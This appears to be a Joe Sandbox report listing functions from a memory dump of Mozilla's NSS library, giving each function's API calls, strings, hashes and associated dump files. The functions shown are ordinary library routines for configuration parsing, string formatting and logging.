Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 12595e065070fa48d654736a0bbf9b3b614056aa744522208db986fbb24cf6c7
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 541108B5F042419BF7119B65AC00B9BB3D4AFD434CF140134E90A8BBD1FB6AFD188691

Function 6C5DCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DD086
PR_Malloc.NSS3(00000001), ref: 6C5DD0B9
PR_Free.NSS3(?), ref: 6C5DD138

Strings

>, xrefs: 6C5DCF5B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 5a4c519dd774b604804a95d8a05c084fd259b65f3385ffc61d68becb62ae7136
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: ABD17D72B417474BEB2488BC8CA13EA7793C782374F5A0325D5218BBE5E619F847C729

Function 6C57AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7f4f87786f7074631238ec148c801f064da09afd16b3039e391352f29ddb0a
Instruction ID: 4a469482a282b0554fd866ca147634d65dded40a65a0ad223358ba95ce8cd6e3
Opcode Fuzzy Hash: 7c7f4f87786f7074631238ec148c801f064da09afd16b3039e391352f29ddb0a
Instruction Fuzzy Hash: 37F12071E052528FDB14CF2EC8897A977F0AB8A30AF15422AD804D7F40EB74D995CBD8

Function 6C56DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C445001,?,00000003,00000000), ref: 6C56DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C445001,?), ref: 6C56E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C445001,?), ref: 6C56E2DA

Strings

W, xrefs: 6C56E111

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c4971b41083c671a8069e460bad519b381e3c88cd066b966aaf65364aa9ffed3
Instruction ID: a45ee217ff7fa87f9e6f6b755219fdec18466971c11fe7be876be577a0537f51
Opcode Fuzzy Hash: c4971b41083c671a8069e460bad519b381e3c88cd066b966aaf65364aa9ffed3
Instruction Fuzzy Hash: BBC10931B062558BDB04CE2BCC907EA77B2BF86318F284569DC995BF61D771A806CBD0

Function 6C530E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C531052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C531086

Strings

h(Sl, xrefs: 6C531062, 6C53105D, 6C530F37, 6C531081, 6C531082
h(Sl, xrefs: 6C530E55, 6C530EC4, 6C530F3A, 6C530FA7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpymemset
String ID: h(Sl$h(Sl
API String ID: 1297977491-1865748590
Opcode ID: c0c946b911eb707bef7d0cb89719ea6f65d612c442e3c8fdd38e5c4860546016
Instruction ID: a45c44a30ab8ae7550a791bb5ebb4e78a002e731df5a9cb681b04e43d4719b7a
Opcode Fuzzy Hash: c0c946b911eb707bef7d0cb89719ea6f65d612c442e3c8fdd38e5c4860546016
Instruction Fuzzy Hash: CBA13071B0125A9FDF08CFA9CC909EEB7B6BF88314B145129E919A7740E735EC51CB90

Function 6C4B8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be5de3b49dd52fa354f824015601dbd302057e57255d5c39f34090fe97e64a20
Instruction ID: f5088d265e1286798c1748fe394e0691efc8b1c723b31f2cd20a8869ff62558e
Opcode Fuzzy Hash: be5de3b49dd52fa354f824015601dbd302057e57255d5c39f34090fe97e64a20
Instruction Fuzzy Hash: A311BF32A002168FEB04DF25D884F5AB3A5FF4231DF04426AE8059FB42C775D886C7E5

Function 6C590C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4432bcfb9854454747b76ab59731b95a6b236b6f299265faa0f594f9e63a043
Instruction ID: e9bcc380c8808f78d75b1461c9dc60cdb613c9dcce80f45417c630642535ef80
Opcode Fuzzy Hash: a4432bcfb9854454747b76ab59731b95a6b236b6f299265faa0f594f9e63a043
Instruction Fuzzy Hash: 6E118F756042459FDB10DF19C884A6AB7A6EF89368F1488AED8198B701DB71E9068BA0

Function 6C503FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: cf9c34997d0f4c55629c183f6907cefcbe732de99dbb0e25f6003171d9f9ef3e
Instruction ID: 80ae5009fcb2a6e674857f2e6205576af065eedc51a977f90ba24f0590ef89ae
Opcode Fuzzy Hash: cf9c34997d0f4c55629c183f6907cefcbe732de99dbb0e25f6003171d9f9ef3e
Instruction Fuzzy Hash: 59F09A70A007598BCB10EF28C88159ABBF4EF49244F11821AEC89AB200EB30FA84C7C1

Function 6C590D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: e595938a1f4d0bf058fa0531f377bf14fb4d5ff3f1b4d592efc6753c6e5adfbd
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: A3E0653A202294A7DF148E09C8506A97359DFC9615FA488BACC6A9BA01D633F9038781

Function 6C4BCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af28fe37376d0ab5bbd5b1128a2ddf63ea997bbf68192784880c92258a9918bc
Instruction ID: af9de53cb1ef3e56d456bc4266f2d8937d8d4ef696237d37ba678ae481343713
Opcode Fuzzy Hash: af28fe37376d0ab5bbd5b1128a2ddf63ea997bbf68192784880c92258a9918bc
Instruction Fuzzy Hash: 80C04838244608CFC704DF09E489DA47BA8AB09610B040094EA028B721DA61F840CA84

Function 6C509840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d42ca495ccea7eaecf521f7641a54081be6cb4af4309af4e6a9157a84b443c
Instruction ID: 637a88bddf2fb89ff8b93a0baf9e48729fce0592f3952d531581185640ee007c
Opcode Fuzzy Hash: a9d42ca495ccea7eaecf521f7641a54081be6cb4af4309af4e6a9157a84b443c
Instruction Fuzzy Hash:

Function 6C525890 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 340stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C5258A9
PORT_ZAlloc_Util.NSS3(00000001,?,?), ref: 6C5258BC
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?), ref: 6C5258CA
strcat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6C5258DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?), ref: 6C5258E7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5258F8
PORT_ZAlloc_Util.NSS3(0000002D,?,?,?,?,?,?), ref: 6C52591B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6C52593A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6C525960
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6C52597B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5259A0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5259AF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5259D3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5259E2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C525A0A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C525A19
PR_smprintf.NSS3(0h0x%08lx,00000001), ref: 6C525A68
PR_smprintf.NSS3(%s,%s,00000000,00000000), ref: 6C525A7D
free.MOZGLUE(00000000), ref: 6C525A8F
free.MOZGLUE(00000000), ref: 6C525A95
PR_smprintf.NSS3(%s,0l0x%08lx,00000000,00000001), ref: 6C525AC6
free.MOZGLUE(00000000), ref: 6C525AD3
PR_smprintf.NSS3(0l0x%08lx,00000001), ref: 6C525AE4
PR_smprintf.NSS3(%s=%d,trustOrder,?), ref: 6C525B15
PR_smprintf.NSS3(%s=%d,cipherOrder,?), ref: 6C525B39
free.MOZGLUE(00000000), ref: 6C525B5D
free.MOZGLUE(00000000), ref: 6C525B81
free.MOZGLUE(?), ref: 6C525BA2
PR_smprintf.NSS3(%s %s %s %s %s,?,6C610148,?,00000000,00000000), ref: 6C525BBF
free.MOZGLUE(?), ref: 6C525BD8
free.MOZGLUE(6C610148), ref: 6C525BEE
free.MOZGLUE(?), ref: 6C525C06
free.MOZGLUE(00000000), ref: 6C525C1E
free.MOZGLUE(00000000), ref: 6C525C34
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C525C50
free.MOZGLUE(00000000), ref: 6C525C61

Strings

%s=%d, xrefs: 6C525B10, 6C525B34
ciphers, xrefs: 6C525B66
%s,%s, xrefs: 6C525A78
%s,0l0x%08lx, xrefs: 6C525AC1
0h0x%08lx, xrefs: 6C525A63
Flags, xrefs: 6C525B8A
trustOrder, xrefs: 6C525B0B
slotParams, xrefs: 6C525B44
cipherOrder, xrefs: 6C525B2F
%s %s %s %s %s, xrefs: 6C525BBA
FORTEZZA, xrefs: 6C525A56
FIPS, xrefs: 6C525983

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$strlen$R_smprintf$Alloc_Util$isspacememsetstrcat
String ID: %s %s %s %s %s$%s,%s$%s,0l0x%08lx$%s=%d$0h0x%08lx$FIPS$FORTEZZA$Flags$cipherOrder$ciphers$slotParams$trustOrder
API String ID: 2590695137-1909591022
Opcode ID: d2883b6d42d71281242a8a1c24d1982d5129874b6baf254732c3666ded28ab49
Instruction ID: 0935a7612f29116cdeff81b600d9545d13145d4d5ad709f9e157db61a650e229
Opcode Fuzzy Hash: d2883b6d42d71281242a8a1c24d1982d5129874b6baf254732c3666ded28ab49
Instruction Fuzzy Hash: 97B168B1D00241A7DB12DF688C829AF76F4AF9634CF550139EC0AA7B44E735E919CBD2

Function 6C525DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C525E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C525E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C525E5C
free.MOZGLUE(00000000), ref: 6C525E7E
free.MOZGLUE(00000000), ref: 6C525E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C525EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C525EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C525ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C525EF0
free.MOZGLUE(00000000), ref: 6C525F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C525F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C525F5B
free.MOZGLUE(00000000), ref: 6C525F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C525FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C525FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C525FC4
free.MOZGLUE(00000000), ref: 6C525FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C525FE9
free.MOZGLUE(00000000), ref: 6C525FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C52600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C526027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C52605A
PR_smprintf.NSS3(6C5FAAF9,00000000), ref: 6C52606A
free.MOZGLUE(00000000), ref: 6C52607C
free.MOZGLUE(00000000), ref: 6C52609A
free.MOZGLUE(00000000), ref: 6C5260B2
free.MOZGLUE(?), ref: 6C5260CE

Strings

pkcs11.txt, xrefs: 6C525F47, 6C525F7C, 6C52603A, 6C526053
secmod.db, xrefs: 6C525EA0
%s/%s, xrefs: 6C526055
forceSecmodChoice, xrefs: 6C525F55
flags, xrefs: 6C525E3A, 6C525EC6, 6C525F30
readOnly, xrefs: 6C525E56
secmod=, xrefs: 6C525FB1
configDir=, xrefs: 6C525F9D
noModDB, xrefs: 6C525EEA

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 6e26baeb94fac20d404fc38f0e37409b0a928083b416bdd5ff620018bf0da596
Instruction ID: 113803028e3fcc6d3163220a21884fe79b99e25e3df47dffadf1a5cfadc60b05
Opcode Fuzzy Hash: 6e26baeb94fac20d404fc38f0e37409b0a928083b416bdd5ff620018bf0da596
Instruction Fuzzy Hash: 5D9118F0904201ABEF11DF299C85BAA3BE49F0534CF580061EC55DBBC6E739D915CBA2

Function 6C5D09D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C5D0A22

Part of subcall function 6C589DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DC6
Part of subcall function 6C589DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DD1
Part of subcall function 6C589DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C589DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C5D0A35

Part of subcall function 6C4B3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4B382A
Part of subcall function 6C4B3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4B3879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C5D0A66
PR_GetCurrentThread.NSS3 ref: 6C5D0A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C5D0A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C5D0AC8
PR_vsmprintf.NSS3(?,?), ref: 6C5D0AE8
EnterCriticalSection.KERNEL32(?), ref: 6C5D0B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C5D0B48
OutputDebugStringA.KERNEL32(?), ref: 6C5D0B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C5D0C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5D0C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C5D0C76
PR_LogFlush.NSS3 ref: 6C5D0C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C5D0C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0C9C
OutputDebugStringA.KERNEL32(?), ref: 6C5D0CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C5D0CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C5D0D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C5D0D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C5D0D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C5D0D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C5D0D90
free.MOZGLUE(00000000), ref: 6C5D0D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C5D0A5B
%ld[%p]: , xrefs: 6C5D0A96

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 298b1cedede704e20fe101c250dab182f1021a78ff47cc402d15f819aa2d24a4
Instruction ID: 662dec1918ec0768cfad67d6296bbd56b11f09af4aa0d8240fdcddb0da3e65a5
Opcode Fuzzy Hash: 298b1cedede704e20fe101c250dab182f1021a78ff47cc402d15f819aa2d24a4
